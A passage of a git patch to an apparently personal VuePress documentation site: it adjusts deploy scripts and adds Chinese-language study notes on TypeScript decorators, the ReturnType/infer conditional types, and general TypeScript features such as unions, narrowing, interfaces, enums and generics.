return + } + } + return DerivedClass; +} +const MyComponent = (props) => { + return
    Window width is: {props.windowWidth}
    +}; +export default withWindowWidth(MyComponent); +复制代码 +``` + +装饰模式的特点是不需要改变 被装饰对象 本身,而只是在外面套一个外壳接口。JavaScript 目前已经有了原生装饰器的提案,其用法如下: + +```javascript +@testable + class MyTestableClass { +} +``` + From 6d67d4e48a0c74c2edcfef945a333af13d7fcc5f Mon Sep 17 00:00:00 2001 From: MoMeak9 <1308994506@qq.com> Date: Wed, 12 Jul 2023 00:39:21 +0800 Subject: [PATCH 11/26] =?UTF-8?q?docs:=20=E2=9C=8F=EF=B8=8F=20TS=20doc?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- package.json | 2 +- serverless.yml | 2 +- src/.vuepress/sidebar.ts | 3 +- ...77\347\224\250\344\270\200\350\247\210.md" | 229 ++++ ...\273\345\236\213\357\274\232ReturnType.md" | 104 ++ .../TypeScript \347\254\224\350\256\260.md" | 1007 ++++++++++++++ ...47\273\203\344\271\240\351\242\2301-10.md" | 275 ++++ ...223\215\347\273\203\344\271\240 41- 50.md" | 221 +++ ...223\215\347\273\203\344\271\240 51- 60.md" | 304 ++++ ...\215\347\273\203\344\271\240 Easy 1-10.md" | 251 ++++ ...215\347\273\203\344\271\240 Easy 11-20.md" | 200 +++ ...215\347\273\203\344\271\240 Easy 21-30.md" | 225 +++ ...215\347\273\203\344\271\240 Easy 31-40.md" | 202 +++ ...75\346\225\260\346\263\233\345\236\213.md" | 191 +++ ...45\345\205\267\347\261\273\345\236\213.md" | 191 +++ ...42\350\257\225\344\270\223\351\242\230.md" | 1218 +++++++++++++++++ ...pt\351\235\242\350\257\225\351\242\230.md" | 271 ++++ 17 files changed, 4893 insertions(+), 3 deletions(-) create mode 100644 "src/TypeScript/TS \350\243\205\351\245\260\345\231\250\344\275\277\347\224\250\344\270\200\350\247\210.md" create mode 100644 "src/TypeScript/TS\344\270\255\347\232\204\345\206\205\347\275\256\346\235\241\344\273\266\347\261\273\345\236\213\357\274\232ReturnType.md" create mode 100644 "src/TypeScript/TypeScript \347\254\224\350\256\260.md" create mode 100644 "src/TypeScript/\343\200\214\351\207\215\345\255\246TS 2.0 \343\200\215TS \347\273\203\344\271\240\351\242\2301-10.md" create mode 100644 "src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 41- 50.md" create mode 100644 "src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 51- 60.md" create mode 100644 "src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 1-10.md" create mode 100644 "src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 11-20.md" create mode 100644 "src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 21-30.md" create mode 100644 "src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 31-40.md" create mode 100644 "src/TypeScript/\345\207\275\346\225\260\346\263\233\345\236\213.md" create mode 100644 "src/TypeScript/\345\267\245\345\205\267\347\261\273\345\236\213.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/TypeScript/TypeScript \351\235\242\350\257\225\344\270\223\351\242\230.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/TypeScript/TypeScript\351\235\242\350\257\225\351\242\230.md" diff --git a/package.json b/package.json index 1dbce1e3..eea96f4b 100644 --- a/package.json +++ b/package.json @@ -7,7 +7,7 @@ "build": "vuepress build src", "clean-dev": "vuepress dev src --clean-cache", "dev": "vuepress dev src", - "deploy": "serverless deploy", + "deploy": "scf deploy", "commit": "git add . && git-cz && git push" }, "config": { diff --git a/serverless.yml b/serverless.yml index e404ed73..28a7ed2d 100644 --- a/serverless.yml +++ b/serverless.yml @@ -7,7 +7,7 @@ inputs: src: src: ./src dist: ./dist - hook: npm run docs:build + hook: npm run build index: index.html error: index.html exclude: diff --git a/src/.vuepress/sidebar.ts b/src/.vuepress/sidebar.ts index 295f289c..cbf829c0 100644 --- a/src/.vuepress/sidebar.ts +++ b/src/.vuepress/sidebar.ts @@ -28,5 +28,6 @@ export default sidebar({ } ], "/HTML/": "structure", - "/TypeScript/": "structure" + "/TypeScript/": "structure", + "/八股文/": "structure" }); diff --git "a/src/TypeScript/TS \350\243\205\351\245\260\345\231\250\344\275\277\347\224\250\344\270\200\350\247\210.md" "b/src/TypeScript/TS \350\243\205\351\245\260\345\231\250\344\275\277\347\224\250\344\270\200\350\247\210.md" new file mode 100644 index 00000000..a59d3c25 --- /dev/null +++ "b/src/TypeScript/TS \350\243\205\351\245\260\345\231\250\344\275\277\347\224\250\344\270\200\350\247\210.md" @@ -0,0 +1,229 @@ +--- +date: 2022-10-19 +category: +- TypeScript +--- + +# TS 装饰器使用一览 + +来自官网: + +> 装饰器是一种包装代码的简单方法,它也是一种设计模式,能够扩展包装代码的功能而不修改它。 +> +> 尽管装饰器在 TypeScript 和 Python 等语言中被广泛使用,但是 JavaScript 装饰器的支持仍处于第 2 阶段提案中。但是,我们可以借助 Babel 和 TypeScript 编译器使用 JavaScript 装饰器。 + +装饰器是一种特殊类型的声明,它能够被附加到类声明,方法, 访问符,属性或参数上 + +是一种在不改变原类和使用继承的情况下,动态地扩展对象功能 + +同样的,本质也不是什么高大上的结构,就是一个普通的函数,`@expression` 的形式其实是`Object.defineProperty`的语法糖 + +`expression`求值后必须也是一个函数,它会在运行时被调用,被装饰的声明信息做为参数传入 + +#### 使用方式 + +由于`typescript`是一个实验性特性,若要使用,需要在`tsconfig.json`文件启动,如下: + +```ts +{ + "compilerOptions": { + "target": "ES5", + "experimentalDecorators": true + } +} +``` + +`typescript`装饰器的使用和`javascript`基本一致,只能对类的成员进行使用 + +## 食用方法 + +#### 类装饰 + +> 接收参数:构造器函数 + +例如声明一个函数 `addAge` 去给 Class 的属性 `age` 添加年龄 + +```ts +function addAge(constructor: Function) { + constructor.prototype.age = 18; +} + +@addAge +class Person{ + name: string; + age!: number; + constructor() { + this.name = 'huihui'; + } +} + +let person = new Person(); + +console.log(person.age); // 18 +``` + +上述代码,实际等同于以下形式: + +```ts +Person = addAge(function Person() { ... }); +``` + +上述可以看到,当装饰器作为修饰类的时候,会把构造器传递进去。 `constructor.prototype.age` 就是在每一个实例化对象上面添加一个 `age` 属性 + +#### 方法/属性装饰 + +> target:对象的原型 +> propertyKey:方法的名称 +> descriptor:方法的属性描述符 + +可以看到,这三个属性实际就是`Object.defineProperty`的三个参数,如果是类的属性,则没有传递第三个参数 + +如下例子: + +```ts +// 声明装饰器修饰方法/属性 +function method(target: any, propertyKey: string, descriptor: PropertyDescriptor) { + console.log(target); + console.log("prop " + propertyKey); + console.log("desc " + JSON.stringify(descriptor) + "\n\n"); + descriptor.writable = false; +}; + +function property(target: any, propertyKey: string) { + console.log("target", target) + console.log("propertyKey", propertyKey) +} + +class Person{ + @property + name: string; + constructor() { + this.name = 'huihui'; + } + + @method + say(){ + return 'instance method'; + } + + @method + static run(){ + return 'static method'; + } +} + +const xmz = new Person(); + +// 修改实例方法say +xmz.say = function() { + return 'edit' +} +``` + +#### 参数装饰 + +> target :当前对象的原型 +> propertyKey :参数的名称 +> index:参数数组中的位置 + +```ts +function logParameter(target: Object, propertyName: string, index: number) { + console.log(target); + console.log(propertyName); + console.log(index); +} + +class Employee { + greet(@logParameter message: string): string { + return `hello ${message}`; + } +} +const emp = new Employee(); +emp.greet('hello'); +``` + +#### 访问器装饰 + +> 使用起来方式与方法装饰一致,如下: + +```ts +function modification(target: Object, propertyKey: string, descriptor: PropertyDescriptor) { + console.log(target); + console.log("prop " + propertyKey); + console.log("desc " + JSON.stringify(descriptor) + "\n\n"); +}; + +class Person{ + _name: string; + constructor() { + this._name = 'huihui'; + } + + @modification + get name() { + return this._name + } +} +``` + +#### 装饰器工厂 + +如果想要传递参数,使装饰器变成类似工厂函数,只需要在装饰器函数内部再构造一个函数即可,如下: + +```ts +function addAge(age: number) { + return function(constructor: Function) { + constructor.prototype.age = age + } +} + +@addAge(10) +class Person{ + name: string; + age!: number; + constructor() { + this.name = 'huihui'; + } +} + +let person = new Person(); +``` + +#### 执行顺序 + +当多个装饰器应用于一个声明上,将由上至下依次对装饰器表达式求值,求值的结果会被当作函数,由下至上依次调用,例如如下: + +```ts +function f() { + console.log("f(): evaluated"); + return function (target, propertyKey: string, descriptor: PropertyDescriptor) { + console.log("f(): called"); + } +} + +function g() { + console.log("g(): evaluated"); + return function (target, propertyKey: string, descriptor: PropertyDescriptor) { + console.log("g(): called"); + } +} + +class C { + @f() + @g() + method() {} +} + +// 输出 +f(): evaluated +g(): evaluated +g(): called +f(): called +``` + +## 总结 + +使用优势: + +- 代码可读性变强了,装饰器命名相当于一个注释 +- 在不改变原有代码情况下,对原来功能进行扩展 diff --git "a/src/TypeScript/TS\344\270\255\347\232\204\345\206\205\347\275\256\346\235\241\344\273\266\347\261\273\345\236\213\357\274\232ReturnType.md" "b/src/TypeScript/TS\344\270\255\347\232\204\345\206\205\347\275\256\346\235\241\344\273\266\347\261\273\345\236\213\357\274\232ReturnType.md" new file mode 100644 index 00000000..ab6eb465 --- /dev/null +++ "b/src/TypeScript/TS\344\270\255\347\232\204\345\206\205\347\275\256\346\235\241\344\273\266\347\261\273\345\236\213\357\274\232ReturnType.md" @@ -0,0 +1,104 @@ +# TS中的内置条件类型:ReturnType + +## 先说一下条件类型是什么 + +1. 条件类型是一种由条件表达式所决定的类型。 + +2. 条件类型使类型具有了不唯一性,同样增加了语言的灵活性。 + +总言之,条件类型就是在类型中添加条件分支,以支持更加灵活的泛型,满足更多的使用场景。 + +例如: + +```ts +T extends U ? X : Y +``` + +表示若类型T可被赋值给类型U,那么结果类型就是X类型,否则就是Y类型。 + +而**内置条件类型**则是TS内部封装好的一些类型处理,使用起来更加便利。 + +## 内置条件类型:ReturnType\ +在 2.8 版本中,TypeScript 内置了一些与 `infer` 有关的映射类型,就比如说我们今天的主角:`ReturnType` + + +其用于提取函数的返回值类型: + +>Constructs a type consisting of the return type of function `Type`. + +手撕示例: + +```ts +type ReturnType = T extends (...args: any[]) => infer P ? P : any; +``` +`ReturnType` 只是将 `infer P` 从参数位置移动到返回值位置,因此此时 `P` 即是表示待推断的返回值类型。 + +```ts +// 比如 +type Func = () => User; +type Test = ReturnType; // Test = User + +// 其他例子 +type T0 = ReturnType<() => string>; // string +type T1 = ReturnType<() => T>; // unknown +type T2 = ReturnType<() => T>; // number[] +``` + +非法的例子: + +```ts +type T = ReturnType; +// Type 'string' does not satisfy the constraint '(...args: any) => any'. +``` + +```ts +type T = ReturnType; +// Type 'Function' does not satisfy the constraint '(...args: any) => any'. +// Type 'Function' provides no match for the signature '(...args: any): any'. +``` + +以上均不满足`(...args: any): any'.`,type T 将被视为`any`处理。 + +其他内置的条件类型还有: + +```ts +Exclude -- 从T中剔除可以赋值给U的类型。 +Extract -- 提取T中可以赋值给U的类型。 +NonNullable -- 从T中剔除null和undefined。 +InstanceType -- 获取构造函数类型的实例类型。 +``` + +## 讲回infer + +`infer` 最早出现在此 [PR](https://github.com/Microsoft/TypeScript/pull/21496) 中,表示在 `extends` 条件语句中待推断的类型变量。 + +示例如下: + +``` +type ParamType = T extends (arg: infer P) => any ? P : T; +``` + +在这个条件语句 `T extends (arg: infer P) => any ? P : T` 中,`infer P` 表示待推断的函数参数。 + +整句表示为:如果 `T` 能赋值给 `(arg: infer P) => any`,则结果是 `(arg: infer P) => any` 类型中的参数 `P`,否则返回为 `T`。 + +```ts +interface User { + name: string; + age: number; +} + +type Func = (user: User) => void; + +type Param = ParamType; // Param = User +type AA = ParamType; // string +``` + + +> **参考:** +> +> [深入浅出TS](https://jkchao.github.io/typescript-book-chinese/tips/infer.html#%E4%BB%8B%E7%BB%8D) +> +> [Utility Types TS文档](https://www.typescriptlang.org/docs/handbook/utility-types.html) +> +> [大厂手撕](https://tehub.com/a/8K0Iqc8vej) diff --git "a/src/TypeScript/TypeScript \347\254\224\350\256\260.md" "b/src/TypeScript/TypeScript \347\254\224\350\256\260.md" new file mode 100644 index 00000000..3a64f556 --- /dev/null +++ "b/src/TypeScript/TypeScript \347\254\224\350\256\260.md" @@ -0,0 +1,1007 @@ +--- +date: 2022-08-17 +category: +- TypeScript +--- + +# TypeScript 笔记 + +**:star:PS: 本内容不能作为入门学习使用,仅用于补充完善我个人对TS的知识点** + +> TypeScript是拥有类型的JavaScript超集,它可以编译成普通、干净、完整的JavaScript代码 + +## 理解 + +- 我们可以将TypeScript理解成加强版的JavaScript。 +- JavaScript所拥有的特性,TypeScript全部都是支持的,并且它紧随ECMAScript的标准,所以ES6、ES7、ES8等新语法标准,它都是 支持的; +- 并且在语言层面上,不仅仅增加了类型约束,而且包括一些语法的扩展,比如枚举类型(Enum)、元组类型(Tuple)等; +- 并且TypeScript最终会被编译成JavaScript代码,所以你并不需要担心它的兼容性问题,**在编译时也不需要借助于Babel这样的工具;** + +![image-20220409131819866](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204091318973.png) + +## 类型 + +- number + +- boolean + +- string + +- Array + +- Object + +- Symbol + +- null + +- undefined + +- any + +- unknown :是TypeScript中比较特殊的一种类型,它用于描述类型不确定的变量。 + +- void:也就是函数可以返回null或者undefined + +- never:是一个死循环或者抛出一个异常 + +- tuple元组: + + 数组中通常建议存放相同类型的元素,不同类型的元素是不推荐放在数组中。(可以放在对象或者元组 中) + + 元组中每个元素都有自己特性的类型,根据索引值获取到的值可以确定对应的类型; + +### 匿名函数的参数 + +匿名函数与函数声明会有一些不同: + +- 当一个函数出现在TypeScript可以确定该函数会被如何调用的地方时;该函数的参数会自动指定类型; + +```ts +const names = ["a", "b"]; +names.forEach(item => { + console.log(item.toUpperCase()); +}); +``` + +我们并没有指定item的类型,但是item是一个string类型: + +- 这是因为TypeScript会根据forEach函数的类型以及数组的类型推断出item的类型; + +- 这个过程称之为上下文类型(contextual typing),因为函数执行的上下文可以帮助确定参数和返回值的类型; + +### 联合类型 + +我们来使用第一种组合类型的方法:联合类型(Union Type) + +- 联合类型是由两个或者多个其他类型组成的类型; +- 表示可以是这些类型中的任何一个值; +- 联合类型中的每一个类型被称之为联合成员(union's members); + +```ts +function printID(id: string | number) { + console.log(id); +} +``` + +**使用联合类型** + +但是我们拿到这个值之后,我们应该如何使用它呢?因为它可能是任何一种类型。比如我们拿到的值可能是string或者number,我们就不能对其调用string上的一些方法; + +**使用缩小(narrow)联合** + +TypeScript可以根据我们缩小的代码结构,推断出更加具体的类型; + +```ts +function printID(id: string | number) { + if (typeof id === 'string') { + console.log(id.toUpperCase()) + } else { + console.log(id) + } +} +``` + +**可选类型补充** + +可选类型可以看做是 类型 和 undefined 的联合类型: + +```ts +function print(message?: string) { + console.log(message) +} + +print(null) //Argument of type 'null' is not assignable to parameter of type 'string | undefined'. +``` + +### 类型别名 + +在前面,我们通过在类型注解中编写 对象类型 和 联合类型,但是当我们想要多次在其他地方使用时,就要编写多 次。 + +比如我们可以给对象类型起一个别名: + +```ts +// type用于定义类型别名(type alias) +type IDType = string | number | boolean +type PointType = { + x: number + y: number + z?: number +} + +function printId(id: IDType) {} + +function printPoint(point: PointType) {} +``` + +### 类型断言as + +有时候TypeScript无法获取具体的类型信息,这个我们需要使用类型断言(Type Assertions) + +比如我们通过 document.getElementById,TypeScript只知道该函数会返回 HTMLElement ,但并不知道它 具体的类型: + +```ts +// 1.类型断言 as +const el = document.getElementById("why") as HTMLImageElement +el.src = "url地址" + + +// 2.另外案例: Person是Student的父类 +class Person { + +} + +class Student extends Person { + studying() { + + } +} + +function sayHello(p: Person) { + (p as Student).studying() +} + +const stu = new Student() +sayHello(stu) +``` + +TypeScript只允许类型断言转换为 更具体 或者 不太具体 的类型版本,此规则可防止不可能的强制转换: + +```ts +const message = "Hello World" +const num: number = (message as unknown) as number +``` + +### 非空类型断言 ! + +非空断言使用的是 ! ,表示可以确定某个标识符是有值的,跳过ts在编译阶段对它的检测; + +```ts +// message? -> undefined | string +function printMessageLength(message?: string) { + // if (message) { + // console.log(message.length) + // } + // vue3源码 + console.log(message!.length) +} + +printMessageLength("aaaa") +printMessageLength("hello world") +``` + +### 可选链的使用 + +可选链事实上并不是TypeScript独有的特性,它是ES11(ES2020)中增加的特性: + +可选链使用可选链操作符 ?.;它的作用是当对象的属性不存在时,会短路,直接返回undefined,如果存在,那么才会继续执行;虽然可选链操作是ECMAScript提出的特性,但是和TypeScript一起使用更版本; + +```ts +type Person = { + name: string + friend?: { + name: string + age?: number, + girlFriend?: { + name: string + } + } +} + +const info: Person = { + name: "why", + friend: { + name: "kobe", + girlFriend: { + name: "lily" + } + } +} + + +// 另外一个文件中 +console.log(info.name) +// console.log(info.friend!.name) +console.log(info.friend?.name) +console.log(info.friend?.age) +console.log(info.friend?.girlFriend?.name) +``` + +### ??和!!的作用 + +**!!操作符:** + +- 将一个其他类型转换成boolean类型; +- 类似于Boolean(变量)的方式; + +**??操作符:** + +- 它是ES11增加的新特性;**空值合并操作符(??)是一个逻辑操作符,当操作符的左侧是 null 或者 undefined 时,返回其右侧操作数, 否则返回左侧操作数;** + +```ts +let message: string|null = "Hello World" + +const content = message ?? "你好啊, 李银河" +// const content = message ? message: "你好啊, 李银河" +console.log(content) +``` + +### 字面量类型 + +默认情况下单独使用是没有太大的意义的,但是我们可以将多个类型联合在一起 + +```ts +// "Hello World"也是可以作为类型的, 叫做字面量类型 +const message: "Hello World" = "Hello World" + +// let num: 123 = 123 +// num = 321 + + +// 字面量类型的意义, 就是必须结合联合类型 +type Alignment = 'left' | 'right' | 'center' + +let align: Alignment = 'left' +align = 'right' +align = 'center' +``` + +**字面量推理** + +```ts +// const info = { +// name: "why", +// age: 18 +// } + +// info.name = "kobe" + +// + +type Method = 'GET' | 'POST' +function request(url: string, method: Method) {} + +type Request = { + url: string, + method: Method +} +// 方法一 +const options = { + url: "https://www.coderwhy.org/abc", + method: "POST" +} as const + +request(options.url, options.method) + +// 方法二 +const options = { + url: "https://www.coderwhy.org/abc", + method: "POST" +} + +request(options.url, options.method as 'GET') +``` + +### 类型缩小 + +在给定的执行路径中,我们可以缩小比声明时更小的类型,这个过程称之为 缩小;而我们编写的 typeof padding === "number 可以称之为 类型保护(type guards); + +常见的类型保护有如下几种: + +- typeof +- 平等缩小(比如===、!==) +- instanceof +- in +- 等等... + +```ts +// 1.typeof的类型缩小 +type IDType = number | string +function printID(id: IDType) { + if (typeof id === 'string') { + console.log(id.toUpperCase()) + } else { + console.log(id) + } +} + +// 2.平等的类型缩小(=== == !== !=/switch) +type Direction = "left" | "right" | "top" | "bottom" +function printDirection(direction: Direction) { + // 1.if判断 + // if (direction === 'left') { + // console.log(direction) + // } else if () + + // 2.switch判断 + // switch (direction) { + // case 'left': + // console.log(direction) + // break; + // case ... + // } +} + +// 3.instanceof +function printTime(time: string | Date) { + if (time instanceof Date) { + console.log(time.toUTCString()) + } else { + console.log(time) + } +} + +class Student { + studying() {} +} + +class Teacher { + teaching() {} +} + +function work(p: Student | Teacher) { + if (p instanceof Student) { + p.studying() + } else { + p.teaching() + } +} + +const stu = new Student() +work(stu) + +// 4. in +type Fish = { + swimming: () => void +} + +type Dog = { + running: () => void +} + +function walk(animal: Fish | Dog) { + if ('swimming' in animal) { + animal.swimming() + } else { + animal.running() + } +} + +const fish: Fish = { + swimming() { + console.log("swimming") + } +} + +walk(fish) +``` + +### TypeScript函数类型 + +```ts +// 1.函数作为参数时, 在参数中如何编写类型 +function foo() {} + +type FooFnType = () => void +function bar(fn: FooFnType) { + fn() +} + +bar(foo) + +// 2.定义常量时, 编写函数的类型 +type AddFnType = (num1: number, num2: number) => number +const add: AddFnType = (a1: number, a2: number) => { + return a1 + a2 +} +``` + +案例 + +```ts +function calc(n1: number, n2: number, fn: (num1: number, num2: number) => number) { + return fn(n1, n2) +} + +const result1 = calc(20, 30, function(a1, a2) { + return a1 + a2 +}) +console.log(result1) + +const result2 = calc(20, 30, function(a1, a2) { + return a1 * a2 +}) +console.log(result2) +``` + +### this类型 + +TypeScript进行类型检测的目的是让我们的代码更加的安全,会去推导使用的this是否安全合法。 + +## 重载 + +### 函数的重载 + +在TypeScript中,如果我们编写了一个add函数,希望可以对字符串和数字类型进行相加,应该如何编写呢? + +```ts +// 函数的重载: 函数的名称相同, 但是参数不同的几个函数, 就是函数的重载 +function add(num1: number, num2: number): number; // 没函数体 +function add(num1: string, num2: string): string; + +function add(num1: any, num2: any): any { + if (typeof num1 === 'string' && typeof num2 === 'string') { + return num1.length + num2.length + } + return num1 + num2 +} + +const result = add(20, 30) +const result2 = add("abc", "cba") +console.log(result) +console.log(result2) + +// 在函数的重载中, 实现函数是不能直接被调用的 +// add({name: "why"}, {age: 18}) + +export {} +``` + +### 联合类型和重载 + +我们现在有一个需求:定义一个函数,可以传入字符串或者数组,获取它们的长度。 + +这里有两种实现方案: + +```ts +// 实现方式一: 联合类型 +function getLength(args: string | any[]) { + return args.length +} + + +// 实现方式二: 函数的重载 +function getLength(args: string): number; +function getLength(args: any[]): number; + +function getLength(args: any): number { + return args.length +} +``` + +## 类的使用 + +### getters/setters + +在前面一些私有属性我们是不能直接访问的,或者某些属性我们想要监听它的获取(getter)和设置(setter)的过程, 这个时候我们可以使用存取器。 + +```ts +class Person { + private _name: string + constructor(name: string) { + this._name = name + } + + // 访问器setter/getter + // setter + set name(newName) { + this._name = newName + } + // getter + get name() { + return this._name + } +} + +const p = new Person("why") +p.name = "coderwhy" +console.log(p.name) +``` + +### 静态成员 + +前面我们在类中定义的成员和方法都属于对象级别的, 在开发中, 我们有时候也需要定义类级别的成员和方法。在TypeScript中通过关键字static来定义: + +```ts +class Student { + static time: string = "20:00" + + static attendClass() { + console.log("去学习~") + } +} + +console.log(Student.time) +Student.attendClass() +``` + +### 抽象类abstract + +在TypeScript中没有具体实现的方法(没有方法体),就是抽象方法 + +```ts + +function makeArea(shape: Shape) { + return shape.getArea() +} + + +abstract class Shape { + abstract getArea(): number +} + + +class Rectangle extends Shape { + private width: number + private height: number + + constructor(width: number, height: number) { + super() + this.width = width + this.height = height + } + + getArea() { + return this.width * this.height + } +} + +class Circle extends Shape { + private r: number + + constructor(r: number) { + super() + this.r = r + } + + getArea() { + return this.r * this.r * 3.14 + } +} + +const rectangle = new Rectangle(20, 30) +const circle = new Circle(10) + +console.log(makeArea(rectangle)) +console.log(makeArea(circle)) +``` + +### 类的类型 + +类本身也是可以作为一种数据类型的: + +```ts +class Person { + name: string = "123" + eating() { + + } +} + +const p = new Person() + +const p1: Person = { + name: "why", + eating() { + + } +} + +function printPerson(p: Person) { + console.log(p.name) +} + +printPerson(new Person()) +printPerson({name: "kobe", eating: function() {}}) + +export {} +``` + +### 可选属性 只读属性 + +```ts +// 通过类型(type)别名来声明对象类型 +// type InfoType = {name: string, age: number} + +// 另外一种方式声明对象类型: 接口interface +// 在其中可以定义可选类型 +// 也可以定义只读属性 +interface IInfoType { + readonly name: string + age: number + friend?: { + name: string + } +} + +const info: IInfoType = { + name: "why", + age: 18, + friend: { + name: "kobe" + } +} + +console.log(info.friend?.name) +console.log(info.name) +// info.name = "123" +info.age = 20 + +``` + +### 索引类型 + +前面我们使用interface来定义对象类型,这个时候其中的属性名、类型、方法都是确定的,但是有时候我们会遇 到类似下面的对象: + +```ts +// 通过interface来定义索引类型 +interface IndexLanguage { + [index: number]: string +} + +const frontLanguage: IndexLanguage = { + 0: "HTML", + 1: "CSS", + 2: "JavaScript", + 3: "Vue" +} + + +interface ILanguageYear { + [name: string]: number +} + +const languageYear: ILanguageYear = { + "C": 1972, + "Java": 1995, + "JavaScript": 1996, + "TypeScript": 2014 +} +``` + +### 函数类型 + +```ts +// type CalcFn = (n1: number, n2: number) => number +// 可调用的接口 +interface CalcFn { + (n1: number, n2: number): number +} + +function calc(num1: number, num2: number, calcFn: CalcFn) { + return calcFn(num1, num2) +} + +const add: CalcFn = (num1, num2) => { + return num1 + num2 +} + +calc(20, 30, add) +``` + +除非特别的情况,还是推荐大家使用类型别名来定义函数: + +```ts +type CalcFunc = (nums1: number, num2: number) => number +``` + +### 接口继承 + +接口和类一样是可以进行继承的,也是使用extends关键字: + +并且我们会发现,接口是支持多继承的**(类不支持多继承)** + +```ts +interface ISwim { + swimming: () => void +} + +interface IFly { + flying: () => void +} + + +interface IAction extends ISwim, IFly { + +} + +const action: IAction = { + swimming() { + + }, + flying() { + + } +} +``` + +### 接口的实现 + +接口定义后,也是可以被类实现的: + +- 如果被一个类实现,那么在之后需要传入接口的地方,都可以将这个类传入; +- 这就是面向接口开发; + +```ts +class Animal { + +} + +// 继承: 只能实现单继承 +// 实现: 实现接口, 类可以实现多个接口 +class Fish extends Animal implements ISwim, IEat { + swimming() { + console.log("Fish Swmming") + } + + eating() { + console.log("Fish Eating") + } +} + + +class Person implements ISwim { + swimming() { + console.log("Person Swimming") + } +} + + +// 编写一些公共的API: 面向接口编程 +function swimAction(swimable: ISwim) { + swimable.swimming() +} + +// 1.所有实现了接口的类对应的对象, 都是可以传入 +swimAction(new Fish()) +swimAction(new Person()) + + +swimAction({swimming: function() {}}) +``` + +### 交叉类型 + +另外一种类型合并,就是交叉类型(Intersection Types): + +交叉类似表示需要满足多个类型的条件,交叉类型使用 & 符号; + +```ts +// 一种组合类型的方式: 联合类型 +type WhyType = number | string +type Direction = "left" | "right" | "center" + + +// 另一种组件类型的方式: 交叉类型 +type WType = number & string + +interface ISwim { + swimming: () => void +} + +interface IFly { + flying: () => void +} + +type MyType1 = ISwim | IFly +type MyType2 = ISwim & IFly // 需要同时实现 + +const obj1: MyType1 = { + flying() { + + } +} + +const obj2: MyType2 = { + swimming() { + + }, + flying() { + + } +} +``` + +### 枚举类型 + + 枚举类型是为数不多的TypeScript特性有的特性之一: + +- 枚举其实就是将一组可能出现的值,一个个列举出来,定义在一个类型中,这个类型就是枚举类型; +- 枚举允许开发者定义一组命名常量,常量可以是数字、字符串类型; + +**枚举类型的值** + +枚举类型默认是有值的,比如上面的枚举,默认值是这样的: + +```ts +enum Direction { + LEFT = 0, + RIGHT = 1, + TOP = 2, + BOTTOM = 3 +} +``` + +代码: + +```ts +// type Direction = "left" | "Right" | "Top" | "Bottom" + +enum Direction { + LEFT = "LEFT", + RIGHT = "RIGHT", + TOP = "TOP", + BOTTOM = "BOTTOM" +} + +let name: string = "abc" +let d: Direction = Direction.BOTTOM + +function turnDirection(direction: Direction) { + console.log(direction) + switch (direction) { + case Direction.LEFT: + console.log("改变角色的方向向左") + break; + case Direction.RIGHT: + console.log("改变角色的方向向右") + break; + case Direction.TOP: + console.log("改变角色的方向向上") + break; + case Direction.BOTTOM: + console.log("改变角色的方向向下") + break; + default: + const foo: never = direction; + break; + } +} + +turnDirection(Direction.LEFT) +turnDirection(Direction.RIGHT) +turnDirection(Direction.TOP) +turnDirection(Direction.BOTTOM) +``` + +### 泛型 + +软件工程的主要目的是构建不仅仅明确和一致的API,还要让你的代码具有很强的可重用性: + +- 比如我们可以通过函数来封装一些API,通过传入不同的函数参数,让函数帮助我们完成不同的操作;但是对于参数的类型是否也可以参数化。 + +**什么是类型的参数化?** + +封装一个函数,传入一个参数,并且返回这个参数; + +TS通过类型推到,自动推到出我们传入变量的类型 + +```ts +// 在定义这个函数时, 我不决定这些参数的类型 +// 而是让调用者以参数的形式告知,我这里的函数参数应该是什么类型 +function sum(num: Type): Type { + return num +} + +// 1.调用方式一: 明确的传入类型 +sum(20) +sum<{name: string}>({name: "why"}) +sum(["abc"]) + +// 2.调用方式二: 类型推到 +sum(50) +sum("abc") +``` + +**平时在开发中我们可能会看到一些常用的名称:** + +T:Type的缩写,类型 + +K、V:key和value的缩写,键值对 + +E:Element的缩写,元素 + +O:Object的缩写,对象 + +```ts +function foo(arg1: T, arg2: E, arg3?: O, ...args: T[]) { + +} + +foo(10, "abc", true) +``` + +### 泛型接口 + +在定义接口的时候我们也可以使用泛型: + +```ts +interface IPerson { + name: T1 + age: T2 +} + +const p: IPerson = { + name: "why", + age: 18 +} +``` + +### 泛型类 + +```ts +class Point { + x: T + y: T + z: T + + constructor(x: T, y: T, z: T) { + this.x = x + this.y = y + this.z = y + } +} + +const p1 = new Point("1.33.2", "2.22.3", "4.22.1") +const p2 = new Point("1.33.2", "2.22.3", "4.22.1") +const p3: Point = new Point("1.33.2", "2.22.3", "4.22.1") + +const names1: string[] = ["abc", "cba", "nba"] +const names2: Array = ["abc", "cba", "nba"] // 不推荐(react jsx <>) +``` + +### 泛型约束 + +有时候我们希望传入的类型有某些共性,但是这些共性可能不是在同一种类型中: + +- 比如string和array都是有length的,或者某些对象也是会有length属性的; +- 那么只要是拥有length的属性都可以作为我们的参数类型,那么应该如何操作呢? + +```ts +interface ILength { + length: number +} + +function getLength(arg: T) { + return arg.length +} + +getLength("abc") +getLength(["abc", "cba"]) +getLength({length: 100}) +``` + +## 模块化开发 + +TypeScript支持两种方式来控制我们的作用域: + +- 模块化:每个文件可以是一个独立的模块,支持ES Module,也支持CommonJS; +- 命名空间:通过namespace来声明一个命名空间 + +![image-20220411214442768](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204112144853.png) + +### 